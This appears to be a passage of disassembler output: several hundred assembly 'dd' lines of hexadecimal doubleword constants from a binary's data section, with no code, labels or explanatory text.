		dd 0BFE2DA23h, 98881300h, 109F52FCh, 639C357h, 0A3E0DA19h
		dd 69008D0Bh, 78F176B4h, 9C75DF64h, 0A987BE28h,	90590509h
		dd 4333EA21h, 0C16B3907h, 90EB1F52h, 12963B8Ch,	1ECB084Fh
		dd 0C99943C4h, 0A8814629h, 1450626Ch, 8270345Fh, 0C4E2F1C5h
		dd 1C69F288h, 40EB78ADh, 854CA502h, 0F74CC157h,	142F0058h
		dd 0D6F20901h, 7B2A1744h, 39603006h, 0D7F25EE5h, 64B54B07h
		dd 0D2642D30h, 0DD14C8C0h, 635A020Fh, 0ACAF198Bh, 0AEA5F098h
		dd 0F08A5802h, 513AD255h, 495D005Ch, 2B97C231h,	0B058B500h
		dd 358EA930h, 748D3FF6h, 0DC124h, 837351FDh, 0DD4B1F7Dh
		dd 10DB3022h, 250075B5h, 9896FF84h, 5CA99DB4h, 2400302Ch
		dd 38C18D2Eh, 630B749Ch, 51E0A7Eh, 0FC982FF2h, 0C2A9280Dh
		dd 4650528h, 0CCFFD5A8h, 0E34863F4h, 2578004h, 0E312F54h
		dd 7222B7A8h, 7DACA100h, 0FC7B6466h, 0C52C5F3Ch, 0D5003033h
		dd 0FB4DCDE6h, 0CB005615h, 0A378EE0h, 31C6DD07h, 94680F3Fh
		dd 0D84313AFh, 0EC6F383Bh, 0D5C1001Ch, 85C0EBAEh, 3200FB88h
		dd 5E0E425Bh, 17114E0h,	0FA7E31CBh, 0F963C6C4h,	1382DE5h
		dd 0B0A31B32h, 7CF01233h, 1D3E8ABh, 13E25957h, 0FC0FC0A1h
		dd 1F3DD994h, 0C4434E5Dh, 0B1542882h, 51D05BE1h, 805C91E6h
		dd 2416DF14h, 0AB02B5F6h, 7E6D7F1Dh, 0FD00E195h, 26007073h
		dd 0F43EFFF2h, 180F8E5Eh, 6E659C48h, 0ADD4C0BDh, 0FC93B83Ah
		dd 0F85701D6h, 0D0F0CEEh, 4F3C6495h, 71F71A0Fh,	5B45A0C5h
		dd 141C3B19h, 0E0315FD0h, 3E208FC0h, 2E00D916h,	0E8B97FF9h
		dd 0E62DF642h, 0C734247Bh, 226C003Dh, 1F0BFF13h, 83ACDF48h
		dd 0E8FEB337h, 174EB8F6h, 90E1C084h, 6D09D9FCh,	31C57300h
		dd 0E3DDE924h, 0D2A51CE0h, 26A640AAh, 0B6E8FB28h, 35360C00h
		dd 7D81C72Bh, 8388940Dh, 0A134AFB4h, 25BCB5E0h,	0F6F49E3Bh
		dd 0B88D9100h, 7FA64F0Bh, 3ABD00A4h, 32DDA3F0h,	5F7BC690h
		dd 75CC020Ch, 4CDA97Eh,	7959EEF2h, 62EFC0B3h, 0D0057E1h
		dd 48BEE3FCh, 916A3Ch, 2CC9AD76h, 0CBE1A045h, 0D7FAC9C3h
		dd 0A2B4835Bh, 86665h, 64AF2220h, 804814EAh, 0E1013B02h
		dd 604193C9h, 25692330h, 2820E231h, 64941D34h, 0C682C81Ch
		dd 18509F40h, 2832E1A2h, 22CE37Bh, 0D91B54FAh, 0BEE0F2A6h
		dd 7C0198E7h, 83AB047Eh, 546DDAAEh, 68298D00h, 0CC3AD170h
		dd 0E804537Fh, 0B9AB20EAh, 90379940h, 72039B29h, 2BD7E61Dh
		dd 12CCB8B6h, 0B4E490FBh, 54F860CCh, 7D0B6FCDh,	0D52949h
		dd 91BD19F0h, 0C4E14897h, 0A272480h, 6917CA4Dh,	548C4353h
		dd 20E94A99h, 0FD2DAE0h, 817FF438h, 2B636008h, 0B8609414h
		dd 35398845h, 1984AB19h, 0C314B448h, 80001DACh,	830C413Dh
		dd 176C73CBh, 200D5F4Fh, 0E7D39F0h, 217ED00h, 4520E469h
		dd 75F72CDFh, 0C61E405Ch, 0AD606BE9h, 0AB5B04E0h, 8EA8B9D5h
		dd 52608F70h, 0B8CC4765h, 0B3622400h, 0FA192D16h, 29AC6075h
		dd 12849268h, 951A8C00h, 9B39236Dh, 61FC004Bh, 176F08B3h
		dd 0A49EDF20h, 0BD0AE80h, 9D79A05h, 74DEE599h, 3410CC18h
		dd 0AD5FED04h, 0D8C17606h, 8C38C2A6h, 0B56280DCh, 0E868240h
		dd 0D4807C9Ch, 0C7FE64A8h, 0D7172446h, 8BA11FE7h, 0F41012EBh
		dd 5B0E0A88h, 0F7964F3h, 8424053h, 0F77B2Bh, 9EEBE1ABh
		dd 88644B58h, 20A74512h, 0AC303C24h, 7AEBB7Eh, 68D31889h
		dd 625E3095h, 8500D482h, 0C1EBDA7Dh, 7C0E7EC9h,	0BD1E2654h
		dd 273C11F8h, 4F04A00Dh, 984BF56h, 3194A9CDh, 0E980CE01h
		dd 5CCBE81Bh, 0A111A20Eh, 5F31B86Eh, 81C0B135h,	0E2B7F254h
		dd 0A1FC1003h, 0A0600BCh, 90428508h, 513FB1B2h,	0A7B586B4h
		dd 0B149F3A2h, 0F51880BCh, 0E7140F23h, 0DCFBFE05h, 0EFC38DCCh
		dd 1C69775Ah, 0C0713437h, 4E27E9DBh, 921670CDh,	0CC006A5Bh
		dd 0E79723C0h, 0D44C508Eh, 167C78D7h, 7A02A9Eh,	5CF02Fh
		dd 0DDC29A59h, 47638305h, 0E0B068E7h, 0A7FB09D7h, 0B4102B5Fh
		dd 5C00E4A3h, 199D8D3Ch, 39D0B61Bh, 0F89F8FC6h,	154A405h
		dd 0FECC43B3h, 0DBD7F0BDh, 12CB73Ch, 0DF6CABF9h, 18205426h
		dd 5FD688C8h, 38C584B0h, 0CCE4E199h, 3C1A3E2Bh,	0B0133080h
		dd 65BD762Fh, 82CD8C39h, 75E91633h, 5E9F22A2h, 0C4C58E80h
		dd 0C700766Bh, 0D0D8ECFEh, 6928409Bh, 0B080802Dh, 73571F0Ch
		dd 801C9448h, 6CA24070h, 0EF7B003Ah, 4B979BB2h,	0F603B3CFh
		dd 75C69377h, 6972A5h, 0E7CD5614h, 94AB39C0h, 818C3003h
		dd 903DD84Ch, 0A2FC9AEh, 46F42A28h, 0B033C80h, 0A4CA01D1h
		dd 0D02E22E8h, 1200F898h, 0EE14556Dh, 2D255715h, 242FB3A1h
		dd 0EB8A4940h, 0CA139790h, 7488E099h, 0D0470007h, 0FE93CBCh
		dd 3BB0A3E5h, 0EED5816h, 3E3DC90h, 0BEBC1260h, 305716F0h
		dd 0CBE711C8h, 0EC183Dh, 6C22C212h, 0E82C94F8h,	2BF00014h
		dd 0B3506EAAh, 0C400605Bh, 41700EFEh, 0F1489Ah,	2F723249h
		dd 0E2FBFC06h, 83B63600h, 0F9B21CB4h, 80EB00C2h, 0CA4FE0A6h
		dd 410191E6h, 0AA71031Fh, 0EFE0EC19h, 530E0CA9h, 29186317h
		dd 42E1CB01h, 0D68D6141h, 0AC256080h, 0A2FC74A7h, 37BF2900h
		dd 5B0DF92h, 0E86503CBh, 8B6017Eh, 0B72680ACh, 762ED0E7h
		dd 53002212h, 7FCBA624h, 0C28D30FCh, 0A3F59951h, 48D8B630h
		dd 127F024h, 7C17B42Ch,	80FF8DAAh, 2873AD29h, 16447F4h
		dd 2E4B554Fh, 0C0C430C2h, 0CF0097F1h, 0A8EEB0C8h, 0A610AAh
		dd 3617CEBh, 2BBD277Fh,	0A2006870h, 0EA89CCBFh,	0C8CDA0h
		dd 7DF9E0B6h, 62CA1808h, 2FF168C1h, 0B060A1ECh,	5C4D3D7Fh
		dd 467A007Dh, 9F331742h, 0A0302C90h, 6C9299FCh,	6F961D0Bh
		dd 0C9183F50h
		dd 87DA49FDh, 544AF700h, 7E3FE460h, 0B7FB05B6h,	1D26F47Ah
		dd 0EA8880D8h, 68461264h, 47674E00h, 0FA93A238h, 0D5B20EDBh
		dd 25E1E1ECh, 47EEBDBBh, 0AC49818Ch, 4481869Bh,	3771617Dh
		dd 0C008297Ah, 0C1EAB538h, 602B5500h, 4C5D03A6h, 0E157381h
		dd 9880F74Ah, 8300B894h, 0CBEF61Ch, 3A6031BBh, 0B4895141h
		dd 63FB0562h, 7CFD3A6h,	4E2D24A4h, 0AA4E2B60h, 79C053F4h
		dd 0E627089Eh, 61D21C44h, 1E39129Bh, 1DCFC120h,	80267A84h
		dd 5D8E3259h, 262B8h, 41A8F0Eh,	0E744E285h, 31405900h
		dd 2C3971AAh, 0AF0F1FBEh, 9E397099h, 0FC00C6ABh, 5940733Dh
		dd 0E4850D1h, 0D3C38531h, 1827619Ah, 0B9C8B037h, 501F52Ch
		dd 0EE04FB7Eh, 0DEF8867Fh, 0B33C14C9h, 0C682C47Bh, 3AC0439Ah
		dd 5C756B65h, 7656AF07h, 0D1C0BAA6h, 7DE602h, 39736877h
		dd 0FB4A589Ah, 94EAD73Dh, 40F5D2h, 0A3BADB09h, 36FFC0Fh
		dd 3A0242Ah, 0DE8052D2h, 443D8378h, 6EB7805Ch, 8E73B18Ah
		dd 0E2492D7h, 1C55CF28h, 2A18260h, 0E4008067h, 5135FF0h
		dd 5E3E8Bh, 0D114E5BFh,	4C70819Ah, 4A0D9209h, 0AE100080h
		dd 918D11C5h, 93C0004Ch, 42B6693Fh, 527B0301h, 5344706Bh
		dd 0D7F12181h, 80FEBC23h, 9B247211h, 507E9F7Bh,	73FF812h
		dd 0A2266C68h, 80AC6A9Ah, 0FF74E50Dh, 12001D10h, 85468A9Eh
		dd 5A401Ch, 3CD4C937h, 0ECACB3A2h, 5BA6C801h, 69DFF49Bh
		dd 4DD8D2D1h, 57C402F0h, 20793375h, 0B4B9CA0h, 0A400564Ch
		dd 0A751E886h, 0A4D2C387h, 0EC1C90ACh, 0A5F50065h, 0FFB3B419h
		dd 0B2004181h, 0E35F598Dh, 609AC936h, 0F8DB3033h, 0F50201ADh
		dd 7919E68h, 0B608799h,	9719A930h, 2D7875h, 0C33B98DBh
		dd 4E6C0153h, 0F19DF900h, 0C006A6DCh, 8ABD0FC9h, 19003BB4h
		dd 98E239F4h, 9C53C426h, 0BAFC1787h, 0E3C6F381h, 7D2032h
		dd 985794ADh, 8D9970F0h, 0C889A505h, 0FD003A28h, 39D462A0h
		dd 0B90100E8h, 0A6E6C4DBh, 0FC123314h, 0CC00DD93h, 0E3491F8h
		dd 5A589Fh, 0D4ACC215h,	6944C918h, 340F5E1Eh, 0C084470Fh
		dd 0D342B8FAh, 5674005Ah, 32582F2Dh, 0B27B91C0h, 41A08F30h
		dd 0B06C5709h, 33800030h, 3761F417h, 45F6A6DAh,	0FB9E4891h
		dd 0A4CD8203h, 0AFDF98ACh, 7C8101EBh, 81DD36Bh,	0F5BCCC93h
		dd 0EC112400h, 9BC48925h, 5153304Bh, 2FBD50A1h,	9888BCA8h
		dd 8A04104h, 0D1C0D29Eh, 0F769B38h, 0B046CCA1h,	7760FD80h
		dd 81C02A44h, 0DB6FA9F1h, 1C40065h, 0D6039C85h,	680328A7h
		dd 0B277443Fh, 2EB8D8B0h, 7FD90E15h, 3078F213h,	7C00C6FAh
		dd 0DE300424h, 30611490h, 295959C9h, 7A00BCF6h,	36BFEA07h
		dd 0F7D8FAAh, 87B95910h, 9906C9A0h, 48B0A986h, 8B5A2805h
		dd 0BC20CA07h, 4FD28Eh,	0EDB7A636h, 6FEA90BFh, 4CE48500h
		dd 0D97BFE6Ah, 0A99F0407h, 40C5AF22h, 83EA0C3Ah, 0AAC902D7h
		dd 3B7A9F14h, 0B42D7048h, 0D171B801h, 57FAE1CCh, 24BC020h
		dd 1F70520Eh, 0EC44AE23h, 0E6187898h, 0D311758Eh, 7B051FF3h
		dd 201C8094h, 0E9A183B4h, 1DC4C01h, 5CD78882h, 788091D9h
		dd 0C8DF9EB2h, 0C61E0CA7h, 371DACA6h, 4AA91F40h, 49464412h
		dd 0F400A47Eh, 0AEE7B008h, 0AAF6C30Ch, 6C3CC426h, 7003B307h
		dd 0D550CC00h, 3B0C2455h, 18F006F0h, 0A13A6063h, 33C90B67h
		dd 3AB400CCh, 49A350B2h, 0E0600838h, 0C922BE08h, 2DA64818h
		dd 600C4419h, 4303818Ah, 38DEBA9Eh, 0F9670022h,	7FFB56D2h
		dd 441B4E42h, 0EA318B71h, 80E4C198h, 7231180h, 0F5E678B7h
		dd 909CFA37h, 0EE7A8A83h, 0AE6E0751h, 0BEDDB687h, 0D78D6540h
		dd 450136ECh, 233477E8h, 0D8639186h, 2A419000h,	42974433h
		dd 1F9F7800h, 0FA38B987h, 34EA006Dh, 1BB25545h,	0D82CD0A6h
		dd 130098C2h, 58D27FB0h, 2A7204ADh, 888E1E0Fh, 673BCBC8h
		dd 0FF1CF948h, 2F40209Ah, 0BC507A1Ch, 9E85005Bh, 720EABC4h
		dd 65486B30h, 0BA60FE8h, 0FE380E4h, 0F218B853h,	0D4C500E9h
		dd 2D298C6h, 6D08E15Eh,	80FB8E66h, 5C30EB21h, 22186A1Bh
		dd 0CA19D4CBh, 6C924Fh,	0D202AF2Ah, 0AA19E2D7h,	1DAC8E4Bh
		dd 5ECBC103h, 3C80EE43h, 0CC9A67CAh, 0C4706500h, 9D6B7975h
		dd 49FC62C9h, 9AC0BBE8h, 7005B561h, 1729BFD0h, 0B1283447h
		dd 0AB6DEFB1h, 603430h,	175F6356h, 107C85A3h, 38108148h
		dd 0D3708211h, 125217Dh, 0BAF21799h, 18980B8h, 42336A30h
		dd 64C8031Fh, 0C3F5A09Eh, 47A5F080h, 0E3294FB0h, 0BF80E0EAh
		dd 75F3B71Eh, 0B0600005h, 0E978067Eh, 0E705E445h, 8E9530B8h
		dd 2041A209h, 2A7CE38h,	0C25F03DEh, 52935138h, 848776E0h
		dd 6C2C8F04h, 0C0A22A03h, 813D9C00h, 9761DAB3h,	58DFD400h
		dd 468C1E1Fh, 8EEA253Ch, 79517C20h, 6A78FECFh, 84EF0B07h
		dd 6D81B02Ah, 145041DCh, 6758DCAh, 9A6C08E9h, 0BA07694Ah
		dd 5EDB47DCh, 19862BD0h, 0A49C00A9h, 3995ED0Ch,	5026D6A8h
		dd 0A042C0ACh, 0E3C8C1E7h, 0E89C63CEh, 5CC6FFDFh, 0BB03B826h
		dd 9A304286h, 0C26940B4h, 0B0CB037Dh, 8E3700E0h, 0DCB7B2F9h
		dd 64B830BEh, 1442542Eh, 74337103h, 2B09A0D9h, 0DFAB0075h
		dd 0B2B9F4B7h, 46EA9FE8h, 86C0FCA8h, 16AE3500h,	0E7BA3EA8h
		dd 0DAE00081h, 3451A7E1h, 0B271D236h, 15B14400h, 0DBD5AAEEh
		dd 0E891F6h, 6F0738E0h,	0FA24419Eh, 444038F4h, 777D37FEh
		dd 0D19200C6h, 39A1DBB3h, 0A42E540Bh, 0B40274BDh, 40FF7C3Ch
		dd 2CA13A4h, 2CA16CE2h,	0B4A08ABAh, 0A509F855h,	4B0119FEh
		dd 0E2C9BEA3h, 0FC32F6B3h, 1C0A3300h, 5067E470h, 94D30F00h
		dd 6D1F2E7Dh, 909FEA1Eh, 1CC3257Eh, 0BB24A421h,	0D0CD3175h
		dd 1890808Dh, 0CCACB47Ch, 0B480600h, 0A17770E6h, 4F890EFh
		dd 2E31970Eh, 0FF78889Ah, 0B3980B01h, 1DDC853Ah, 9B41D0h
		dd 5A11A625h, 0D219A0ECh, 6728E102h, 0C188D9ACh, 0A021F984h
		dd 1A0E0FC0h, 282DCD53h, 0F3008046h, 0BDF69F64h, 0A0CF9C3Fh
		dd 713E69A5h, 8F880016h, 937ABB20h, 3CB9EAD6h, 0AEC1FA87h
		dd 0B82A13D3h, 9415B9h,	33BCBAC5h, 0FE569D7Ch, 37924D05h
		dd 0CCCC6EBDh, 5DF90003h, 26ABD899h, 0A70A7294h, 987BCC77h
		dd 0DDF31340h, 4AC403EAh, 0EEB1D591h, 98D084D0h, 3FFEA018h
		dd 0B06C2329h, 1012E22Ch, 81BE5088h, 10ABF6A5h,	4C59E070h
		dd 400524B0h, 8890C12Ch, 0A86B1BA0h, 646C9031h,	0C67A0793h
		dd 8FA386E1h, 0D488D7C0h, 0D00189CAh, 977B4D46h, 0FC709E2Eh
		dd 0C1A21279h, 1898302Ah, 1E00E4E9h, 0D07B71F0h, 3B921641h
		dd 75AA35EBh, 0B6DF0580h, 0C6509F0Ch, 8526393Bh, 3D40A8C9h
		dd 23ACFBAh, 3903135Ch,	2BE0F0B0h, 0F9D6457Bh, 26C29000h
		dd 7828BCB9h, 13E0D302h, 0B141C28h, 0E800AB80h,	0D2908156h
		dd 0FC00A0E0h, 9C867EF4h, 6B28B0Bh, 0AA106D3Fh,	27448861h
		dd 0F28B98Dh, 0F520E10Bh, 0C6BFDC92h, 0A18BA204h, 81EE07C1h
		dd 0D8FA15B7h, 13F69903h, 0F250498h, 30BCA306h,	7211F85Ah
		dd 0B2430029h, 0E49E923Bh, 0D81DC8A6h, 0D2C087EAh, 470D7A4Bh
		dd 0F1EDC0Bh, 24007B68h, 31639CBEh, 52F12F60h, 17DE6FAh
		dd 2D184414h, 0FC02E8D6h, 82EEBA57h, 0B0AD2C2Eh, 23A33940h
		dd 0A04B3E65h, 0CA628h,	0DB10A997h, 47115455h, 90B813Ch
		dd 984BC1A0h, 2D4CEFDCh, 95DEADD2h, 0A600B01Dh,	0CD1AE12Ch
		dd 8E521856h, 6D9251FDh, 94610B01h, 8F2D767Fh, 2E2A1DE8h
		dd 397DF68h, 35E81B08h
		dd 317CC8FCh, 0FED13E67h, 0ECC9E9A1h, 30D72C70h, 7B814C9Ah
		dd 0F7000872h, 59F0D1F8h, 77C0FD2h, 660DDADDh, 5B630085h
		dd 725C4BAAh, 67D89878h, 741C30D3h, 7C9CA061h, 8DF2081Fh
		dd 8AEAB1F0h, 2114056Bh, 8CF74D0Bh, 561E84D4h, 7F8069A5h
		dd 0AADFB91Ch, 1920E43h, 5C616B1Dh, 9AFABC2Ch, 20709149h
		dd 0C990832Ch, 51205AFh, 0D06F4C2Dh, 89BCEC7Ch,	0D0E2A500h
		dd 3E6AF6B0h, 0D27C09DAh, 0E8643CC6h, 900ACB06h, 151A880h
		dd 0A912B86Eh, 0E85058F9h, 88620E71h, 2F3FD2E0h, 0C491B020h
		dd 710085AAh, 0CD473804h, 0B98D0B9Dh, 10350B68h, 91D4A5Eh
		dd 0A0D77CC0h, 587FED71h, 96021C70h, 0E389EE08h, 947C085Ah
		dd 1CED5000h, 0DBEB98CAh, 24B000EEh, 0BD858DC2h, 670093F4h
		dd 0D4DCA288h, 6D265h, 0A6A975C8h, 443191F3h, 0D6ADA1C0h
		dd 856B2h, 9AD29CD8h, 0EC179327h, 7930C513h, 0B282D0D0h
		dd 0F97F4Ch, 0FC2B99ABh, 7DB6DDEAh, 921B5001h, 0C72D0FA7h
		dd 9DB2820h, 2A35D3CAh,	3480CC4Ah, 0C845F3F5h, 69CFE3Ch
		dd 48F4A8A6h, 0D3B500D1h, 0D73E2D0h, 0F3009D0Fh, 18C1543Bh
		dd 67F4860Ch, 943C499Bh, 9353C142h, 54ACD0B8h, 13D67407h
		dd 80673AB5h, 0B132D430h, 80D09498h, 366B6DDAh,	0A8280AB4h
		dd 0FF22D075h, 14995038h, 9C8D0135h, 0E34DF804h, 88C0203Ch
		dd 18A0253Dh, 97312D7Ah, 0E1F4002Ah, 1DD6BD0Dh,	0A4FC6813h
		dd 95B12F1Fh, 3A5B6440h, 60EFB2E9h, 0E1A8F86Fh,	9D28124Eh
		dd 0BA0564C9h, 6EECB324h, 36FA81FAh, 2BA5D016h,	93FA3F00h
		dd 0C38653E7h, 52C991Ah, 0D4F8AE23h, 718A2B0h, 0C673E0B2h
		dd 0C321277h, 0C0DCC08Ah, 29E5FA63h, 3E07BE6h, 98F2115h
		dd 0AAA0A1F3h, 17006D93h, 262B693Bh, 2ED83E9h, 5FFA6B1Eh
		dd 0ECE0C60Dh, 6E05B5F6h, 68B62603h, 402023C5h,	0EECAD687h
		dd 339D00D4h, 687DAE84h, 36059528h, 0EA6D4FAAh,	2805E885h
		dd 5CC2E2BDh, 0B27FC0B4h, 30351B0Ah, 5EF09925h,	8F005C32h
		dd 89564F15h, 978E12h, 1FA6A120h, 94F99CE6h, 9E5C9B58h
		dd 20DDF5C0h, 0F9D29F19h, 0B894A3C0h, 72FC448Ch, 6B5D3100h
		dd 446EFBC6h, 0F119C57Bh, 0C140C0A1h, 0B8020F1Ah, 8C139F1Bh
		dd 4CF8C4C8h, 24035875h, 0D8F5F026h, 0E2A6C204h, 4CB2122Fh
		dd 0A729910Ah, 22CC20D3h, 701E8AA0h, 0B1C0B234h, 0B7FA250h
		dd 4F44F422h, 7AB44646h, 5800F92Ch, 8A63FC56h, 0B843BDFh
		dd 349A8D08h, 0D411D018h, 0B0E7D202h, 0DB20C4A0h, 910A8018h
		dd 148930E3h, 269D4502h, 6620794Eh, 0C3C6002Ch,	5E4B2A58h
		dd 11001097h, 14991C3Fh, 3C3C7638h, 4488C9BCh, 2E83522Ah
		dd 888ED0h, 4E0BFB41h, 14383E4Bh, 0C547B809h, 488801E8h
		dd 898933A3h, 9468E388h, 65031203h, 833EFC16h, 8678A8FDh
		dd 49D82626h, 70771506h, 53675001h, 3099A596h, 26039008h
		dd 6F7D737Ah, 5634D0C9h, 85120553h, 3322B29Ch, 302692F0h
		dd 6901ACFDh, 22FFC39Dh, 44129050h, 2F8A445h, 0AA5CB3DFh
		dd 4C5298B2h, 9D161100h, 0F02AE9A7h, 91660979h,	7CE42C3Fh
		dd 9C73905h, 6A80B218h,	0B704A64h, 105C444Eh, 0B0E8E484h
		dd 0D015C34Ch, 22CC26EDh, 7920004Bh, 2FB4184Eh,	0FB07B32Dh
		dd 0A180C288h, 0C6BCA040h, 0DD642E19h, 99D2017Ch, 2279137Dh
		dd 0ED035E0Ch, 8852C5F2h, 32AB0A4h, 70090DE3h, 0D90045C9h
		dd 0B43405E0h, 0F21D8Ah, 2FD4C72Ah, 14B75ECBh, 2CB60101h
		dd 0ACC991FEh, 40889CF3h, 103900B5h, 0D44FC2EEh, 5000EC4Bh
		dd 0AE224A88h, 12A2832Ah, 4E76C2Ch, 40A797A8h, 44E0C49Bh
		dd 49506E0Ch, 890A59Fh,	9CB4483Bh, 84E39742h, 0C0A29090h
		dd 0B23D9E00h, 7611EE36h, 0B346DA00h, 8B0750B9h, 0DCD30772h
		dd 4C43170h, 0F24E2E4h,	0C7F41123h, 11EF50A8h, 1F7F7300h
		dd 0DE3A1CD7h, 244BFE3Ch, 0C982E074h, 40905AE3h, 91F48710h
		dd 0A2CB00ECh, 0DCA3A0ECh, 0C349C612h, 8A760830h, 88420E9Fh
		dd 60E04CE4h, 87E9A412h, 0BC217F2Eh, 7C883F16h,	797D02h
		dd 5875E38Bh, 720E0142h, 0F0DE390Eh, 5609C3h, 0D4146C14h
		dd 0A2EEE0D6h, 48500A9Ch, 0F318CF0Ah, 0D5B46003h, 3F30027Fh
		dd 0BAB7E61h, 0C89C30E0h, 0ECA01100h, 4C83F9D3h, 0C08D5CAAh
		dd 0B02284Ch, 8E2B153Ah, 1E8F3454h, 521DA108h, 38C412FEh
		dd 22C0B0CBh, 9902757Fh, 4F3290A0h, 3C5AC4h, 0B7395444h
		dd 3AE89359h, 992388C4h, 1EA9F4A4h, 4F1B7B77h, 8B809512h
		dd 2C024875h, 7820C14Ah, 0C568BBh, 76ED1B07h, 0A4A68901h
		dd 0DF0DCB00h, 9ABFF2BDh, 942B4C95h, 9B1EC522h,	0D99952D2h
		dd 3FED8FD0h, 84806C2Ch, 0CE4A0821h, 29BB9B1Dh,	999D0700h
		dd 3A9E3h, 7827FD22h, 8544BF7h,	0EEA61000h, 3844CC53h
		dd 50F1C599h, 217420B9h, 917CB5C0h, 1923BF35h, 88602CE3h
		dd 10B160FCh, 39987F5Dh, 23290BF2h, 0FE886497h,	926C2E89h
		dd 117663A0h, 989A8CD8h, 24290C00h, 697DC1A0h, 1177AA6h
		dd 0C9480E75h, 0BE704906h, 0CA03012Ch, 0C8CCA020h, 978AB02Eh
		dd 240F357Bh, 727D45D3h, 219DF420h, 19CD09BFh, 0C080B7F6h
		dd 0C17DF80Ah, 94397CE8h, 0BBE998E4h, 17A15C0h,	7F03686Ch
		dd 798FEA4Ah, 187D008Ch, 814E1FE6h, 0FF9100C7h,	3EB416Bh
		dd 58147301h, 56D061F6h, 753870F8h, 7BFF0865h, 13A1199h
		dd 316EA1BBh, 9CC06310h, 4D2305DCh, 0CCA261F8h,	70000494h
		dd 33969A3Ah, 13A79BD3h, 2B5384Fh, 527CF438h, 0D1409456h
		dd 0FA0107h, 9B537F06h,	6C142FCBh, 0FFC49903h, 0E883250Eh
		dd 7450D0A5h, 2EE20512h, 5FC885F7h, 78054F38h, 5FE02A0Eh
		dd 0FA8D4EF5h, 8EBF201Eh, 0D00014AAh, 6164C987h, 588A71h
		dd 1D9BED21h, 0CDE77505h, 0EBA61B01h, 7A5E013Eh, 0DCE5AC40h
		dd 22992D73h, 0AF6B9820h, 0CE0353BEh, 2A34E944h, 0C697FAA9h
		dd 92B2C50h, 0F2BC60C4h, 7100D59Eh, 805B39FCh, 13DBF74Ch
		dd 235A915h, 8D313295h,	0C900B0DAh, 4F3D9910h, 17CE913h
		dd 0BCA7B3BDh, 2050AD04h, 0F70BE720h, 0FA089D3h, 0C409D15Ch
		dd 8CC4FD58h, 0A053D900h, 0DB99B0DCh, 64F10719h, 609D85E3h
		dd 3E229AE9h, 9EC68000h, 700FEEC4h, 0EFBF1E4Ah,	89E702BCh
		dd 9240D135h, 2A73AF7Eh, 4A09827Ch, 81F77103h, 0EC1CA0F1h
		dd 849A8064h, 2C4A680Eh, 0A18B601Eh, 5FD0B61h, 0ED99F7AEh
		dd 16C0C07Eh, 0DB002A72h, 7DE43139h, 0B998A9A0h, 5D44000Ch
		dd 9F11FF9Eh, 5C81370Fh, 13099Ch, 44E6C490h, 8B409E72h
		dd 0C12A050h, 79051870h, 0B6A73A14h, 8FCB3881h,	0F22142F0h
		dd 19492F8h, 0DC5253E6h, 6D7AAB76h, 366D07D4h, 275054E8h
		dd 0F08F03CCh, 122E0052h, 3B317CDBh, 0C201B3BEh, 0EC71D7B0h
		dd 4C386FCBh, 0C41E1F80h, 82F4778Ah, 1943D000h,	1427721Ch
		dd 0AD0B2C16h, 90122DB1h, 11018C52h, 75EBABC1h,	0C980209Ah
		dd 0D0525CFCh, 5534868Ch, 548CF054h, 7314AC9h, 167A47A5h
		dd 32CC128h, 2D00DB87h,	0EB5495E9h, 59550082h, 0C16056BCh
		dd 226A01Bh, 230114C7h,	9EF3A70Dh, 2590CDC0h, 0C8241AC3h
		dd 0BE90C899h, 0F4F59AFAh, 650FE1Dh, 0D4015C0Ch, 9FF966E0h
		dd 0E420BF48h, 0C084952Ah, 1770C023h, 86607383h, 71E57860h
		dd 7E34007Bh, 472BA562h, 602C4E6Ah, 903C48D3h, 9853FC91h
		dd 0A0E2B207h, 17894065h, 0B30018CBh, 74164F92h, 50E497DEh
		dd 137FD277h, 908EDC6Ch
		dd 899AA6F8h, 0BFA22B00h, 928739BAh, 10AF16B7h,	90B00AA8h
		dd 0A8523C91h, 20319117h, 758E2ABCh, 27194B00h,	9C677C6Bh
		dd 55B60912h, 8C70D671h, 0B1B3CC02h, 52317DA9h,	926A00C8h
		dd 8F411635h, 0DC00612Ch, 13A1C85Ch, 488A1BA6h,	3C50D350h
		dd 245E06EEh, 81D38D12h, 1ABE6E00h, 0F95BD72Eh,	69DB00C1h
		dd 98CFE23Bh, 3F05A7D0h, 0D3A0381Bh, 0F2F53840h, 160A29h
		dd 61EDE78Bh, 0F8D2180Fh, 0FF334C02h, 0EE6B6714h, 94B22DD0h
		dd 62407C00h, 2A359185h, 0A0080811h, 11A0A62Dh,	59031E8Ah
		dd 0B420F4D2h, 34BBBB9h, 89E67330h, 0A680E739h,	5DE2D7C3h
		dd 5821445Fh, 0EF2161D5h, 8B288740h, 9BE00062h,	21BBEFAAh
		dd 0D212D95Dh, 4809BAD0h, 0D1C1h, 611A0FCBh, 53002FD7h
		dd 9C4B3183h, 426F2F3h,	571FCF52h, 218080ACh, 0E0E2A094h
		dd 31C7C311h, 0C9359918h, 0A005B08h, 6C3BF7B8h,	1CCA74AFh
		dd 4068BEEDh, 7113C950h, 0FD26E455h, 0CB08DCADh, 0B9B80C5h
		dd 58C3E36Ch, 0C9850913h, 0F7918A4h, 0EE234DD8h, 0FB13CEE0h
		dd 0AE608E1Dh, 0B76AB639h, 0CC641E7Fh, 0E2FFC0C5h, 8DD98136h
		dd 96760A1Ch, 97EB0D01h, 1EE8B3A5h, 0A7DB00A2h,	4816313Ch
		dd 1B00B2A6h, 0A0EE2750h, 2DF9919Fh, 5C238E28h,	21E851DCh
		dd 27246637h, 0B2007CE9h, 1D7948FFh, 43C94FA4h,	7EE42608h
		dd 4D78FB90h, 7D397200h, 0A6D5CFF5h, 0C4C308F8h, 902738D4h
		dd 2E5B37E4h, 0B4E8ADh,	435C466h, 0BA000D0Bh, 0F187DE57h
		dd 907F199Bh, 0D0432620h, 701C3C6Ch, 0A4930225h, 97C0D9C6h
		dd 6E01A2BAh, 0BC5C4461h, 403B8E2Ch, 7D8B05C0h,	90F40389h
		dd 443CD326h, 0FAC6D702h, 0FCE498h, 2247D02Eh, 60BA99A4h
		dd 4CDA4500h, 5618FEE1h, 6123050Fh, 0F2853449h,	0BA0900D0h
		dd 6A6EC7ECh, 3822013Ch, 576F5EC0h, 0E498D0DCh,	9CD40601h
		dd 14B4232Ah, 33E702Ch,	83E034A9h, 4170CCA9h, 0CE40F5F8h
		dd 8A0EF100h, 6BDA18AAh, 2AA70C57h, 9EA92E9Ah, 1D361900h
		dd 0A6C75FD9h, 508416E0h, 858020BFh, 0A0B6F5C3h, 0D1E3B180h
		dd 90AB8B2Ch, 3DA722B8h, 80D08D5Ch, 0E64FD3F4h,	5F4E0036h
